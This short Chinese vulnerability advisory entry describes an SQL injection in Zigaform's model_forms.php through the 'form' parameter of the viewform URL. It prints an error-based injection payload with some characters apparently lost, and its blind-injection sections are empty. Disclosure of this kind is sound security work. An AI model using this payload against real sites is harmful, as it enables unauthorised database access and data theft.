Zigaform - SQL 注入漏洞
-
AV
AC
AU
C
I
A
发布：
2025-04-13
修订：
2025-04-13
Zigaform的model_forms.php中的form参数带入SQL语句导致SQL注入 注入点： http://localhost/[PATH]/formbuilder/frontend/viewform/?form=[SQL] payload： AND (SELECT 2120 FROM(SELECT COUNT(),CONCAT(0x716a7a6271,(SELECT (ELT(2120=2120,1))),0x7171767071,FLOOR(RAND(0)2),md5(233))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) 报错注入如下：  布尔盲注如下： 
漏洞利用/PoC
暂无可用Exp或PoC
受影响的平台与产品
当前有0条受影响产品信息
